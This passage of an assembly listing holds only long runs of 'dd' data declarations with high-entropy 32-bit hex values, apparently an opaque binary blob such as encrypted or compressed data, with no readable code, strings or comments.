dd 27C35AA5h, 9A1A4685h, 0BEF47F96h, 856EE24Fh, 0F572AAD1h
dd 6257BEFCh, 0CE004173h, 0D7C358C1h, 2CFEECB8h, 8C875Dh
dd 0FBC5428Eh, 0F1797C84h, 5D076832h, 401CAF20h, 0CC353651h
dd 59439AFCh, 0B55523BBh, 0AE54BFF5h, 0BD673373h, 2F38B524h
dd 1BF2AF6Dh, 0E00A4858h, 8165D4A3h, 0DC0E1BD9h, 872B5E90h
dd 0FE63A7B1h, 0D01417EEh, 0EC23B539h, 0D7CCACA2h, 293035D6h
dd 5D9DB932h, 2B576F2h, 0EBACCC04h, 0EE226FB7h, 0F1A79EB9h
dd 6A40027Eh, 39974C38h, 7E15C9A9h, 0AB9D59EAh, 0DE1D4C91h
dd 0BA802143h, 0AD065838h, 79C0548Fh, 0AAAFACB0h, 552EECCh
dd 1756FC5Dh, 7B110A6h, 0AE1F268Ch, 14BC59B4h, 0ACEB958h
dd 7E9E8E0Eh, 0CB63C11Ah, 46D57534h, 0E2A10D2Eh, 7F0117EFh
dd 37200469h, 0BB849631h, 866B11DCh, 9287A8ACh, 0C140D76Ch
dd 6C1421BEh, 74A23F3Dh, 1497488Bh, 9981F550h, 3FFFB5B0h
dd 1D2F550Dh, 96E27546h, 0FE8FA411h, 0EC8DC6D2h, 0AFF65EBEh
dd 861A0B80h, 94422930h, 0ABBF5705h, 0C628BE23h, 18F70E65h
dd 0C7CF2639h, 0C8DC9433h, 0B7AEF6C7h, 0D4C6211Eh, 0FF5CA7BFh
dd 0BF5B3B6Dh, 76570762h, 4D29153h, 43D022DDh, 0B52295Dh
dd 0D1593BE8h, 0DA9FDAD7h, 0D75A79C6h, 0E6B8AC0Dh, 0EF623004h
dd 0BCFC8FFh, 0E0E77FCAh, 0C7F79192h, 0CBCDBFD5h, 65C609BBh
dd 19BEAD46h, 68B61244h, 7B16CFB2h, 15DAC97Ah, 506E3D10h
dd 0B9EDECF0h, 0CD35B55Fh, 24843605h, 0F3766FCFh, 894F5F0h
dd 46CCB069h, 2E2DDC16h, 1A6C93Fh, 0D8357EC9h, 0CC91EA9Fh
dd 2BAC97h, 97D11534h, 981B5EDCh, 7C6B0CDBh, 7C3691D7h
dd 451304Eh, 142DE59Ah, 4A14A6E6h, 0BC36E5B1h, 5496698Bh
dd 13F08321h, 58171B2Fh, 8F982979h, 0CF33A921h, 56BA2347h
dd 4C7328CAh, 57F9A540h, 0A171327Ch, 304FA3C7h, 0D8F9D009h
dd 0A4AF8226h, 0A30210Ah, 87D9ACAFh, 5FCFA7CAh, 91FDB54Dh
dd 3F8934C9h, 4A31C28Ch, 0B5CF3194h, 4A379212h, 6D79F53Fh
dd 0C2335D40h, 0A4351B46h, 0C36E81E8h, 0DA8878B5h, 95DBB3AAh
dd 921C6ABCh, 31D4C54Fh, 51FC0370h, 0C423CDBBh, 0F62AA47h
dd 0BDA2AB1Eh, 232A670Eh, 70171C30h, 0D443A0E1h, 0E0E868E8h
dd 552AF50Dh, 0BBEB046Ah, 1C0C1C00h, 0D071C20Ch, 19470797h
dd 0DEE5B65Bh, 0DD0EC0DEh, 0AC8E40A6h, 92A3D39Bh, 0F3C33FA8h
dd 0FBE23C8Fh, 238E592Eh, 0BDA6F10Fh, 5435D72Ch, 99CFE6Fh
dd 0E32B3CCCh, 14BAF166h, 0D393A719h, 0DA25895Fh, 8D9D8BCCh
dd 0C68EB0DBh, 0F8C78C14h, 680E7F2Fh, 7061BDA3h, 0ACFF595h
dd 59F50F3Bh, 4BF7BF3h, 7C2F107Ah, 0E342D2BBh, 7C4FB34Bh
dd 0C1F18991h, 0C73919C3h, 2DB8C4A0h, 0B2EADCF8h, 0E0FA071Bh
dd 72198EF5h, 10AA6E2Fh, 0C2418881h, 2164B002h, 0C70FA082h
dd 9AF4B058h, 0CB3F9F93h, 2031C223h, 93EA66DEh, 4F4BF7EBh
dd 2873688Fh, 6294D7B4h, 77EA46F0h, 257076D8h, 0FF1516Fh
dd 7C7FCAB2h, 27D8A359h, 0F4ACBEAAh, 0D0BC45EBh, 4034CA66h
dd 0B9EA8444h, 19944618h, 0D402C6C8h, 508F1149h, 0EAD73A0Dh
dd 5779Eh, 0D2E9CAFFh, 9CCB4780h, 0E722F664h, 627BBB68h
dd 94F15C44h, 2A8DEB0Ah, 0BEAE5A3Fh, 0FB4F3FEFh, 0AC4D1C6Fh
dd 0F8A2D47h, 2F7A9529h, 0ADBA7FECh, 0B0C20C63h, 0E6A3438Fh
dd 70BE281Ah, 0CEC0E890h, 3A8DBFF1h, 0C1889F7Fh, 5EF23797h
dd 0A82CB8FFh, 79977311h, 58AE5D3Bh, 0B2DA9814h, 2951C223h
dd 3F185905h, 0E9A27516h, 0E6CA0401h, 0D6823812h, 0ED59485Bh
dd 18A96D46h, 0FBE97BECh, 0F3CDFF3Bh, 0D4A5904Bh, 0A562FCEBh
dd 0A9E9687Dh, 4F7D96F1h, 3908CF22h, 43B41D28h, 62B9A257h
dd 0ED021F25h, 797B7733h, 14509F21h, 0DBAC036Ah, 0C69B54FBh
dd 83273228h, 0EF3B44CCh, 0AAB33078h, 0A718B15h, 307849BAh
dd 621C5BB1h, 104D6640h, 0D95C5001h, 0BCFE0042h, 69E13356h
dd 0D8A778E9h, 9113D4AEh, 674E7D04h, 435C96BEh, 499138DAh
dd 80CE60BAh, 668E627h, 0CE88534Fh, 0A4D05157h, 873ED6BBh
dd 49A1DA9Eh, 0FD969F7Bh, 93EA59FFh, 0CD99A688h, 588619B2h
dd 65EA2331h, 675DEDA8h, 7ADE8008h, 0AA2ACC94h, 0A430D694h
dd 13B6DBE5h, 0F907DA57h, 0B7803A0Dh, 31E534EEh, 83CE7BE9h
dd 6648FF3Ch, 0E8F49F8Fh, 47DF389h, 31B0338Bh, 6290E56Ch
dd 0F426B51Ah, 0B6EDB0BDh, 0E83A37Bh, 0FB837124h, 0F9EDB4ACh
dd 0D0724C9Eh, 39FE11C0h, 16AC5FF2h, 55906B99h, 0BA1B1D06h
dd 0D4507A2Fh, 70F6D9F1h, 0B1233BA3h, 78047C64h, 0F02AC26Dh
dd 0E8116D24h, 0F4DE8A6Dh, 8F911A2Ah, 0F63B7991h, 9453483Dh
dd 150B39Dh, 8EC55468h, 4B7AD58Ah, 0FC077CE2h, 2A750EE1h
dd 59FAB261h, 61643673h, 8098AB2Dh, 10147E4Ah, 0A665B4A5h
dd 89750176h, 0BD824583h, 7D80D192h, 2B527EB2h, 0C3271774h
dd 100E6FE5h, 5BB78377h, 0F96FD79Ah, 91391944h, 0E8B28727h
dd 7A5265D7h, 897B9A62h, 1D8C349h, 68EF69E7h, 893659B9h
dd 7E9FCCDEh, 57DE8484h, 0F88B4284h, 0EB55EE60h, 42AB35Ch
dd 8E840E39h, 74DE90D1h, 0B0549EB3h, 0AB2FCCA2h, 253CA02Ch
dd 8746EDD9h, 52B40B73h, 8B612249h, 0C2215318h, 4934748Ch
dd 0DA3A913h, 0A7E395E5h, 91E3305Fh, 0A860EAD0h, 696D47B4h
dd 263C696Fh, 6189CDE6h, 25BAA480h, 2C3FA753h, 22F2F436h
dd 526E8B14h, 0FBDA25FEh, 0D178AAC6h, 18629E8Ch, 7BF77A7Dh
dd 52C8714Bh, 3C43F0D9h, 17C46679h, 0D33B9F54h, 0AB1A6D1Ah
dd 43B6FE32h, 0B20B300h, 3D6BB317h, 0D665F189h, 0BCEAA0D4h
dd 1C9A0831h, 0F914E22Eh, 0A3047E67h, 0A20894F7h, 0E6A57E92h
dd 0F87E9D25h, 85A78E25h, 37E2F59Ch, 7295F7B9h, 30FA385Ch
dd 475F3199h, 0F7AEBD49h, 0D7749F41h, 94BA2246h, 0EFC96557h
dd 7852A16Dh, 0A8AB8124h, 8F7F4ACFh, 434CE87Fh, 2D78DAC0h
dd 0DF9602B6h, 691E4C57h, 49079461h, 0EC4794F6h, 6937BFCh
dd 37B5303Eh, 1CD55B88h, 19F35333h, 3BEB4D37h, 6D3A035Ch
dd 2AA7313Dh, 0DC2B9864h
dd 32573919h, 930E13EFh, 54F2BD7Ah, 0D12D8BBDh, 0E9378560h
dd 0E5411D77h, 0F3EADEE7h, 3E0114ACh, 4D6583ABh, 9A1EA166h
dd 17D26AEEh, 8B9807DFh, 28A4B709h, 0F88FF741h, 0A1122444h
dd 0DE1ECC9Dh, 0CD5C43C4h, 0DA3E9EB4h, 0CF58ABh, 6118C9F3h
dd 0A7D95376h, 0F73B39DEh, 3DD07505h, 0F5C703ACh, 0E57D7A86h
dd 0C932E691h, 0BB21B04Ah, 1A18363Eh, 0A81F82Ah, 0E748955Bh
dd 0F6D33128h, 39B09B5Ah, 0B29292D6h, 683C62E7h, 0E7B6BD75h
dd 0A18A4D5Bh, 481FF7F0h, 4CEFA985h, 0B2DD5B78h, 75C3B44Bh
dd 41D06491h, 5D6AB566h, 0C824DBD9h, 0E71A4967h, 52A5F2B0h
dd 0C4E017FDh, 0D6282D3Fh, 60F05A95h, 0FC3BC6BAh, 963C9FD9h
dd 0E72AC01Ch, 1527EEA9h, 1C0D531Bh, 0EA8F6DCh, 32A8C599h
dd 0EFFFCEA1h, 0EF5F2FF1h, 18CDC5B7h, 25802DC2h, 98F363F1h
dd 0AF07A15Ch, 0EC94672Fh, 32C03A4Dh, 4E45B7C6h, 6DE85947h
dd 0EE2493E2h, 0DB2E773Bh, 0D0F2CBCCh, 1FB25BF7h, 684240F3h
dd 0FCF49D5Fh, 92AF5F77h, 0B67D2E48h, 5FA91C5Ch, 0FBFCC8BCh
dd 5FBF0540h, 2AF2293Dh, 84741946h, 0DB36EBC6h, 0FF792576h
dd 0A21B8E6Dh, 0F7A3B5A9h, 0AA98214Bh, 81FFE4A6h, 5F278D6Fh
dd 78C1A3A8h, 0D742A953h, 543FE4EDh, 0D68A1F4Dh, 114275DEh
dd 0A989B02Fh, 6FDA6F60h, 0B50605A7h, 0C392E7E8h, 97DADCA6h
dd 0F9D1C7F8h, 68634552h, 0EEA9F175h, 8B831067h, 0F3EBBFD5h
dd 2BF27CFEh, 356EB9C4h, 3D87DFC0h, 337D9F57h, 51A8899Bh
dd 0B43BA3ACh, 1EA22A92h, 5BB7B2E6h, 8423507Eh, 0E633A9A4h
dd 5BC3E77Eh, 84A90077h, 15912193h, 6DB7A83Ah, 6636E298h
dd 9CEC64A7h, 6276F64Bh, 0F55F4957h, 1CE8E4B9h, 0D14B23B4h
dd 1320FC2Fh, 0B8933468h, 0B2580DFh, 470C0DADh, 0A24B1264h
dd 7DC62264h, 0EB775114h, 0E336214Ch, 2CE1450Ch, 5A42B5C4h
dd 485B540Ah, 2AEAFA1Fh, 9D48083Eh, 5E1AF843h, 0B488F33Bh
dd 0A407B601h, 68FDA680h, 0A7CC780Dh, 5FA6E153h, 0B64B3415h
dd 0AE11FEFDh, 0CE75614Ch, 17D8B148h, 6E98594Dh, 0E1AD750h
dd 18FEB56h, 66831F92h, 3D2B4A81h, 2B7B9117h, 88470B24h
dd 0E62C9476h, 0D6D04903h, 19421620h, 998C24DFh, 677BB061h
dd 0F91E5B3h, 0E8418907h, 6B3772Ah, 0FA729034h, 9B92283Ch
dd 0F4075F59h, 0B3A4CB8Ah, 27953F8Eh, 0A8442C4Fh, 0A5F9651Eh
dd 5EA90648h, 7E0D6DCEh, 42F22497h, 4BB94D84h, 919FEE16h
dd 0D9AD5E2Ch, 40553ACDh, 208AC959h, 54329F59h, 6404BECAh
dd 6C3623EEh, 450B5F3h, 6A73EBE8h, 89894E50h, 0BD22B8D4h
dd 0D237CC9Ch, 0D3F9511Fh, 330ED0F5h, 7FC89CAh, 82E3A554h
dd 79DE3958h, 0DD7A422Dh, 0C306416Ah, 0A9C54E61h, 1F6A2FFFh
dd 631F1F2Ah, 4E29734h, 98579F8Bh, 0DE3B0F04h, 0D0C16CFDh
dd 0B24B62E7h, 4B487DA9h, 0BDA2EFF6h, 9CAB1041h, 9A77275Bh
dd 0C88076B4h, 177D2A09h, 83823012h, 3271806Bh, 0EF465EC9h
dd 68FCF99Ch, 25203584h, 0CA7F971Ch, 0CB4C53BFh, 51A4ACAEh
dd 92BB89EDh, 0A10B8612h, 0CDA631D4h, 0EDC12656h, 0CF4A091Ch
dd 58A1C17Dh, 578251FFh, 2B4C5410h, 61A8D1Eh, 0B67F2C7Ch
dd 0FDE1DE57h, 1D83B694h, 53049C69h, 936D366Fh, 0EAC630F5h
dd 0F60A5CC1h, 0D99EF01Ah, 0C43B7F79h, 0AD307E68h, 2F358B7Eh
dd 0C8C33D34h, 8D05974Ch, 85CF07A6h, 76EBC134h, 637F151Fh
dd 63DF8C74h, 9BEFE410h, 0AFDA8BB7h, 0EFFFF43Eh, 0F29B2F02h
dd 0D86A11A5h, 5BFAB0DCh, 0D2EAFE24h, 0D78F7DF8h, 0B67E0C61h
dd 308ABBF8h, 0B06CB08Dh, 83D33F08h, 0EE53A5BBh, 0BAFAA3D5h
dd 5E76B86Ah, 1E225664h, 0B9E8BE4Fh, 5BA67007h, 0BABF0EC7h
dd 22F7FAFFh, 0BE375572h, 5DAE051Ch, 1F1829EBh, 0DFA87EA5h
dd 0E3F3C862h, 52F4C6AAh, 0A045D1EAh, 0B9081CD5h, 74AAE37Ch
dd 3AEEEB9Bh, 0BFD75D27h, 2BF75CDh, 32F3620Fh, 99AEB7D3h
dd 2F4CFB11h, 7DE104C6h, 6F48C5h, 29EBCDB7h, 0CE8EDFC2h
dd 75B9E5F9h, 0DD4A8F13h, 6468F049h, 0ACFB507Bh, 0F1DD8FB4h
dd 0FE395C0h, 3FA26786h, 0A652E5C6h, 30F256F6h, 0A034B47Dh
dd 0DDB16F5Eh, 3A845560h, 8C51F631h, 5F5C2991h, 0CA421585h
dd 0E3BFEE77h, 16FC59FFh, 1158570Dh, 2E40CAEDh, 5B3B95B5h
dd 44C243BAh, 4F5402CEh, 689846A7h, 0AF4B02CCh, 0F68BD162h
dd 247F5094h, 2F0AF27Eh, 9721E90Eh, 1C068BEh, 4A023A8h
dd 899A6066h, 885EA970h, 1C912ED9h, 0D9799D73h, 1FD3F21Dh
dd 6F4E4975h, 0AA64314Fh, 0EAE6C70h, 0B04F8E94h, 2124F234h
dd 0C1B85EAEh, 0C99B227Bh, 60D35D14h, 725CD932h, 98ACAFE9h
dd 0EBFFDBC7h, 0A5EE5D24h, 0D006F13h, 0C8D993C5h, 0A6A43429h
dd 0FEB8371h, 6EF18EEBh, 1ECF0EC7h, 9955B2F5h, 0F2FCC7B3h
dd 0D8CA8030h, 0ED00B07Fh, 7AE4588h, 48DAC98Eh, 0D7420C6Fh
dd 9FA3008Ch, 3C7DAA40h, 7D297000h, 49799DF5h, 0F9DF693Ah
dd 0A50D1EAAh, 3613FA02h, 3FB92E90h, 0EA116FC0h, 8BFE3B74h
dd 3B7230B2h, 170DD282h, 0CEFE8712h, 2BEA7639h, 0F9DF8951h
dd 0C8502008h, 8F099579h, 0D1D4422Dh, 0B068AFAEh, 375E1EBCh
dd 2BF86A3Dh, 395CE257h, 5E5C9088h, 4550CF5Bh, 2AD9F721h
dd 0A4B1749Eh, 55FD4E7Bh, 661CE00Ch, 72D447EFh, 12B53ED1h
dd 8D216AB8h, 0D14EFF2Bh, 1C35D379h, 2B609B06h, 51625DDFh
dd 10B2DB75h, 0B3DE4AE0h, 7CB1CC3Ah, 0DC6B499Fh, 0CCCE359h
dd 0E48DA10Fh, 960FA7FBh, 0E96B51FAh, 0B66DA4A5h, 796C400Ch
dd 0E4D0CA78h, 76244F31h, 10B3D9CEh, 169235C4h, 0D648B175h
dd 4FB6EA26h, 0AB710C7Dh, 132D6581h, 45B4E56Bh, 0A1F0ED11h
dd 0CFA12D6Fh, 79742A08h, 0E7A1C577h, 0E46213F2h, 0D25DBCDh
dd 0D4BFFDD5h, 466A53FEh, 2FD5272Fh, 0AACADE05h, 0EF6E7C11h
dd 0A1F24FA1h, 677A1E67h, 0A2AFA6DDh, 68B6525Eh, 609123FAh
dd 4D420207h, 0A510D5B2h, 26C59E76h, 74BB31C7h, 966FC210h
dd 94BB9B4Dh, 0FFCFDEEDh, 5B53D7BBh, 6BF60CD4h, 17DB626Bh
dd 721515CAh, 0BA0A8921h, 0A52CD6Dh, 42804F99h, 0BEBEA3Eh
dd 3C08B89Fh, 0EF69E90Dh, 0C56551F3h, 636953C2h, 0F02FA308h
dd 0C5A9FD2Fh, 0EB6056FDh, 1A5139B7h, 0A91A1E9Ah, 5AE8A3E0h
dd 0D9C3A699h, 0A43AEBE3h, 46CD1456h, 8FF94FAEh, 0FFC0615h
dd 32C1D4F7h, 0E6FC89F3h, 0CE03F106h, 240A4A2Eh, 0BDAC0057h
dd 0D48E1361h, 0E5D25EC5h, 369C7080h, 0E53DA5C5h, 3C5E2949h
dd 4880CCDAh, 1D0FEB58h, 8DE9B357h, 0D9ACDFE7h, 0FEEAB00Fh
dd 1320CE1Dh, 6A55D80Ah, 0AD40CF54h, 0E403532Eh, 0A1BD3762h
dd 6CA163AFh, 0DA212E79h, 0CA3D63DBh, 5D7DFEDFh, 0C34CB182h
dd 83037C75h, 3F7B5E2Ah, 1C1E31FBh, 0B9F4B426h, 7899F423h
dd 0B518EC83h, 528EE8FDh, 0F7F2D6A1h, 7836DE80h, 8F2AA611h
dd 8E823CBAh, 8EBD0816h, 68ABEE9Eh, 2684D331h, 0D60E0D92h
dd 0A1C5EED5h, 93A3B5F6h, 9C0692D8h, 0C36021D7h, 3E1B6449h
dd 0FF97276Dh, 771C9F13h, 98465E92h, 0FC542134h, 0EE5D702Fh
dd 679CC452h, 0A53FDBCDh, 0B97C7AF4h, 93F13AFFh, 0B6913DBEh
dd 90B805FBh, 0FE0F0B28h, 6C0DB711h, 167E5503h, 69A15A7Bh
dd 3F93CC22h, 0A28B5244h, 6B510628h, 0D6F4A5Fh, 70229B07h
dd 535AC918h, 0D8564FEEh, 81211F88h, 0CFD3DAC2h, 1E138C64h
dd 0AE0446BEh, 4C6815F8h, 3B5075E2h, 0EBE20A11h, 69823EEAh
dd 636CF9F7h, 0B90691C9h
dd 0E34BE51Bh, 0A08E5967h, 0B9780BEAh, 6F1217Ch, 59865484h
dd 6B0D6166h, 0CB94F46Ah, 8B288255h, 5F41834Bh, 6ADE22A5h
dd 0F8F349EFh, 6EDD36E1h, 0EC01F8E7h, 0A8702A94h, 786A5284h
dd 0F450E0F0h, 6185353Ah, 0E1970887h, 0D327DB97h, 9D0D072Bh
dd 5F5C7EF0h, 96C11BF9h, 0A917CF2Ch, 0F878C49Ah, 17A3B498h
dd 29E87A98h, 56686DC3h, 6ADC0CAh, 0FF72C9BBh, 54F128AAh
dd 30B5BE97h, 76E0C0h, 0C73DDCA2h, 4AF517FBh, 9683A973h
dd 0D7F16A6Ah, 77CF1576h, 23AF016Ah, 5F8D7474h, 0CE74D66h
dd 0B76F9278h, 0A4445615h, 46D8ACFDh, 97C2D8B3h, 0B644003Fh
dd 8D9B6F9Dh, 3A4384Eh, 0F7C98B84h, 84393A98h, 148EE9DCh
dd 7FD9AAE8h, 2FD78D35h, 734A23C0h, 7A54775Ah, 64FB8C86h
dd 998731Dh, 0EB90D34Ch, 8ABB108Fh, 0CCECEB05h, 69849E3Eh
dd 0DEA9CB8h, 40D17C91h, 0F8625928h, 0F81E0767h, 0DA3C3074h
dd 0E149E26Eh, 4030C110h, 41AD6217h, 0B9903DDAh, 89AE35CCh
dd 32FD5D22h, 0E7AD4F62h, 743442D9h, 0A3D2C09Dh, 3FAE5895h
dd 0DAB3A753h, 44EB034h, 65C11095h, 3B97B98Ah, 8162ADADh
dd 0C31DD04Ch, 0A230F828h, 0FE6AB2A1h, 8BFA645Ah, 0AFC1C0BAh
dd 0F61DD04Ah, 88E1ECCh, 0C4603761h, 0C7F98281h, 0B0D8C8B0h
dd 0D5CA0361h, 1BA93F8h, 489EA9D7h, 3EFB3C4Ch, 4B25157Dh
dd 4BB73926h, 75FA1C14h, 0F00675C8h, 0EA2E7DB8h, 2A027351h
dd 0FA762628h, 777B591Dh, 9125D6C0h, 43CA87E1h, 0E86E3D9Ah
dd 3CECC99h, 7D42A638h, 30846C4Dh, 0EDC9C8BBh, 0A2F62FE5h
dd 21A9A460h, 0D1BF9F40h, 0B314C587h, 5490FDEDh, 0D0FFCE10h
dd 0BE258A86h, 754294ACh, 94B14D0Eh, 0CFE15F66h, 7E61E457h
dd 5E03C7F9h, 0AC351672h, 93770A2Ah, 79C1E270h, 0A2661A15h
dd 335EE0DBh, 1AF8F32Bh, 0FFE12530h, 4A78D41Ah, 9C7CE8DDh
dd 0AFA7CEFDh, 1378D5B8h, 0BC03E5B9h, 53555BABh, 60A1D7F5h
dd 21C42774h, 8EA3FA1h, 0F840819Dh, 64D33934h, 0E5C32F8Bh
dd 9C7853F9h, 0BEF60550h, 0E5CFA0A2h, 0C54B3091h, 0E01C9160h
dd 0A58164ECh, 0E5B8A3B5h, 0C49AD80Ch, 1422BA6Dh, 0D18C59C2h
dd 1F9D47B2h, 7854ACC5h, 723D6719h, 0BE99F0FAh, 391C1B8Dh
dd 0E9A5DA74h, 96E31962h, 9FF9A5ABh, 63E9E6F7h, 0E241A2FDh
dd 8E0C3912h, 118B18B0h, 0DA2E78CFh, 0C9187DEAh, 21E034h
dd 0A22FB6C8h, 1A28A035h, 8A7015CCh, 176471E1h, 2F6FF03Eh
dd 2D1C13F9h, 6418417Ch, 8E7DD8D2h, 74FDE4C3h, 44AC4F03h
dd 98F801CFh, 0DAF0EA08h, 0C7B3AC1Ah, 0D951620Eh, 8261D5B2h
dd 5083D8Ah, 1382D789h, 11A39326h, 1E26596Ch, 2CB9E52Eh
dd 0FF606C27h, 39A89DA5h, 509D268Ah, 0F9C83409h, 5B9DAAC2h
dd 6ECE8FF6h, 6E8BF1BBh, 89D67C45h, 4C44C7B5h, 2A7A7221h
dd 86A0F701h, 4740D111h, 0FDF820F5h, 97BE082Dh, 89034E75h
dd 96132AEDh, 5CCDF56Fh, 0B1ED9F1Fh, 0A1D142ADh, 4B93E24h
dd 511B31C8h, 7ECCA5E3h, 0AFCA1187h, 0AF21E097h, 86432A7Ch
dd 384F1184h, 956F3E03h, 60598025h, 0FB4EA8A3h, 9D341D1Eh
dd 0FA1EB192h, 60815543h, 1D85C4BBh, 0F95F1673h, 3220314Dh
dd 0E6500ADh, 6D847A29h, 5421209h, 5B19BB6Ch, 1AEA9BB0h
dd 0EFE03B33h, 0BB85840Dh, 0E7CB8938h, 438A7A0Fh, 51E5F934h
dd 71282AEEh, 725E3A29h, 0B4514101h, 91670DF6h, 994C78D8h
dd 9731504h, 43CE2CB1h, 448D855Ah, 24145966h, 9DCCFD20h
dd 0CDA94C2Ch, 0B588AB87h, 0AC7AB1E6h, 0A1F784BAh, 7D1DE75Bh
dd 3246C795h, 0E5FB6A57h, 67542409h, 30C32031h, 0FD2997DDh
dd 0CF13D54Fh, 0C7EAC0D1h, 9E205C27h, 0C1F8F2DCh, 0C2835861h
dd 1AF3733h, 0BF1A1094h, 8665412h, 54009D74h, 281747CAh
dd 882DEAEFh, 0A3F8D191h, 5B59427Dh, 201C3D2Fh, 9C141578h
dd 827C1B2Ah, 60426D23h, 0BCF3C8E6h, 396CE45Bh, 174D4DFBh
dd 0BA5E96A8h, 5FB1A22Fh, 0A9FD957Fh, 0EC966759h, 8CB146A2h
dd 4145F597h, 0A377325h, 1A273F05h, 0A14A34FDh, 5191DAC9h
dd 0AE279A36h, 0B06FE5FFh, 0CB1E7FDh, 9A9E6F0Eh, 0D5F3F1FAh
dd 3C17429Ah, 81AACFC1h, 0D9EECB62h, 42EB6049h, 0EED16C45h
dd 1938B1F7h, 83BE2A5Fh, 38D165D8h, 0F036EE1h, 0FEBD9BA4h
dd 0AAB51FE7h, 43A733AEh, 0EF7C7D47h, 37DA4710h, 7966F166h
dd 6335ACD2h, 0EF2B220Ah, 0ADD9AC27h, 0CF9307B0h, 7A9D8D95h
dd 4A09B082h, 61785C1Ah, 0CCE6FB4Dh, 4BD14CB6h, 89BFE92Bh
dd 0F2FC3E9Dh, 5A97A355h, 0BF3FF83Ch, 9975B722h, 0E123E586h
dd 221DE85Dh, 3F8F1E1Fh, 0EE0D6AEEh, 77741A3Ah, 0AB6B0FA2h
dd 0B4CC3D8Fh, 23E0A30Bh, 96ECDB1Eh, 1F295A12h, 2D565F45h
dd 227209ACh, 9E8DEC06h, 272EBDB6h, 0CE9DFDDh, 57DE2D7h
dd 10135963h, 0F6866A33h, 994239A1h, 9B4BFF40h, 7A05B1F5h
dd 3ABB49F1h, 0B0D87707h, 45A82659h, 0F90FDDD7h, 97A9E85Ah
dd 86688804h, 0FE9F53DBh, 3C1D6E39h, 5FA21775h, 0C80F0854h
dd 8D994EE7h, 0E0F271A3h, 4BA93F75h, 0AE13994Eh, 0D7946F9Dh
dd 3C6D940Ch, 212447DAh, 4B68710Ah, 0D8A2C641h, 3556701Bh
dd 9EA713EAh, 0B3C3B607h, 0D01CCED5h, 6739FDE3h, 899D84C1h
dd 0C4DA29E3h, 2EAFEB57h, 83216FCCh, 0DCD248CEh, 2D6FC6EEh
dd 26D9A4B6h, 45EE9DEFh, 66108FB1h, 0FAB83B1Eh, 0F9118AEAh
dd 1F74416Fh, 0CECDADE6h, 6CF20B7Ah, 53E66667h, 95597C70h
dd 2C47D9CCh, 9BC68DE7h, 65122A28h, 0EC3A3BE2h, 0B2865749h
dd 0BE965A23h, 7B1ACA5Dh, 953E6BC0h, 0A5429BC6h, 0FEBDF821h
dd 9C3CAFE8h, 37588580h, 8A7A6B4Eh, 70C1D0F3h, 0F6B00E5Ch
dd 0C7E86CEAh, 8894B17Bh, 867BD626h, 19CC88FCh, 0D4ED5DBh
dd 0D2FA0CE6h, 3BB42DC2h, 0AEF5391Fh, 7C2664C3h, 78DCDF12h
dd 1B954CEEh, 5639970Dh, 0C9C9A6C4h, 1010C68h, 4695BCBEh
dd 0EE9983D7h, 293D09B1h, 96CD9C44h, 7B0F0BCCh, 790BBAB6h
dd 1EA63305h, 845A4485h, 4B3F4913h, 0F9453BA1h, 0AD3D3C8Bh
dd 5DB3474h, 0DD211423h, 9B5F3C87h, 210F4392h, 62EC536Ah
dd 8D49F8DFh, 0B8A453Fh, 0B4F4141Bh, 96AF142Ah, 0F9AD25B5h
dd 1DA0AD5h, 855993FEh, 0EF12352Ah, 0C9E54482h, 0A1E83440h
dd 80F6FA39h, 4A5D3CB7h, 0C88C3C33h, 0AFC48DF0h, 0F3A2FCBBh
dd 16599825h, 4EFF436h, 0F4525988h, 312DCE0Fh, 4D1BB36h
dd 5717E72h, 0FC37256h, 25397FEh, 1B82A342h, 0D16EC602h
dd 0C37D2157h, 92533199h, 4EA0117h, 6DC694D5h, 9BCFFDE4h
dd 0F9C0B7B3h, 0BC944BF1h, 40446BD9h, 5ECE6868h, 81F1B4AEh
dd 408FE407h, 11688207h, 0D3E9B5FDh, 0FDC7C236h, 86125B55h
dd 5D0EA6ABh, 0B01D6203h, 88A3D726h, 20F64DEBh, 8DFCE0A9h
dd 7C4F3D6Eh, 61635666h, 0EDA1346Dh, 9C02B9A5h, 911841CFh
dd 5659E9D9h, 9A615521h, 0BB87C47Bh, 9951F71Bh, 5D5B3DA0h
dd 6A087A8Ch, 95EF4061h, 0B248A289h, 69FA8D65h, 12B58AEEh
dd 8B09A422h, 53E7A213h, 0C5C5F2B3h, 0DDDF04EFh, 0BB2CE3F8h
dd 9D6BBC0Fh, 57A5AC88h, 41EBF72Ah, 0A93A4577h, 788D4167h
dd 5AF1E255h, 0A819E8E1h, 230029B7h, 0FD767274h, 0BD23F549h
dd 9D3060DFh, 2D47A9E1h, 0A2A3BF09h, 0E7E735D3h, 0E4752DEDh
dd 0EE2C5817h, 0A377A37Bh, 0A14E697h, 0A3436C14h, 72D0344Dh
dd 54BF823Dh, 0B5A45034h, 0E80C3470h, 441AE0C5h, 0F0722496h
dd 187E3399h, 8BE1C338h
dd 68B422FCh, 0C3091D92h, 0DE16ADA5h, 0A41D54Bh, 0F56891AFh
dd 5AC5B1Eh, 0E7E1802Ah, 8A0FE889h, 59D914CFh, 496F10BAh
dd 4387A39Bh, 0CBEE96Dh, 0D75E4CF1h, 25C7F66Ch, 0B2929733h
dd 62A840A9h, 79F5EA0Dh, 0CE619008h, 1F66EAB3h, 0E280D28Eh
dd 416B9AFDh, 107385D7h, 9FA26A9Ch, 390FF826h, 0A9B8CD4Eh
dd 2D371273h, 1AF1AECh, 6DB40BBDh, 8B72B764h, 85E1E79Eh
dd 8F6D7650h, 21A785Fh, 3346AA83h, 7BD2E923h, 63890D33h
dd 2404228h, 3C6BF29Dh, 9C4D0416h, 9A858CC8h, 0AC329DF5h
dd 6176D5ABh, 0A35D1667h, 9AFCDAh, 4CADDBEEh, 2241C460h
dd 0DB767E5Fh, 3407DCC7h, 0F22E1986h, 0C0552689h, 30BBF749h
dd 81CB39C8h, 0B437D1A3h, 57A87D24h, 0D6F94D62h, 6DD57EC3h
dd 475A5527h, 83CC2CA2h, 1EB5A02Bh, 0A0B3C68Dh, 4D243D31h
dd 355C7729h, 0C12BAF8Ah, 0B24C04EDh, 0E2925588h, 37DD54F5h
dd 804643F0h, 0C5EF6444h, 0C9F1B160h, 0B3625158h, 37296348h
dd 7B94381Ah, 68F2D0B6h, 0BA1ACF73h, 0F7925B13h, 0D6D5A367h
dd 81E2173Dh, 58FC3724h, 0ED73028Eh, 0E5165103h, 74C077F9h
dd 79685722h, 0A53A1259h, 24DFEC13h, 76745C94h, 0BBE77336h
dd 3D3CF0E4h, 0E8B1E946h, 21B08C34h, 8C313F9Eh, 0B4973CB3h
dd 0C5706AFh, 0D4984453h, 43506DC4h, 0B6D0C436h, 4DF1C1DCh
